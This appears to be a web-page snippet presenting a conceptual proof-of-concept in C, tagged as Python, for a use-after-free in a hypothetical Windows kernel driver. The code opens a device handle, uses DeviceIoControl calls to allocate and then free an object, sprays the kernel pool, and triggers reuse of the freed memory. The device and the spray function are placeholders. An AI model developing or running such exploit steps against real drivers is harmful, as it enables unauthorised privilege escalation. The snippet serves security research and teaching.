PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <windows.h> #include <stdio.h> // Conceptual PoC for Use-After-Free in Kernel Driver // DO NOT RUN ON PRODUCTION SYSTEMS int main() { HANDLE hDevice; LPCWSTR deviceName = L"\\\\.\\VulnerableDriver"; // Hypothetical device name DWORD bytesReturned; // 1. Get local access and open handle to the driver hDevice = CreateFileW(deviceName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("Failed to open device. Error: %d\n", GetLastError()); return 1; } // 2. Trigger object allocation in kernel DeviceIoControl(hDevice, 0x2200, NULL, 0, NULL, 0, &bytesReturned, NULL); // 3. Trigger the free operation (UAF trigger) DeviceIoControl(hDevice, 0x2201, NULL, 0, NULL, 0, &bytesReturned, NULL); // 4. Spray the pool to occupy the freed memory // Attackers use this to control the content of the freed memory region // This is a simplified representation of Pool Spraying for (int i = 0; i < 1000; i++) { SprayKernelPool(); // Hypothetical function to manipulate kernel memory } // 5. Trigger the Use-After-Free // The driver attempts to use the freed pointer, now controlled by attacker DeviceIoControl(hDevice, 0x2202, NULL, 0, NULL, 0, &bytesReturned, NULL); printf("Exploit logic executed.\n"); CloseHandle(hDevice); return 0; }
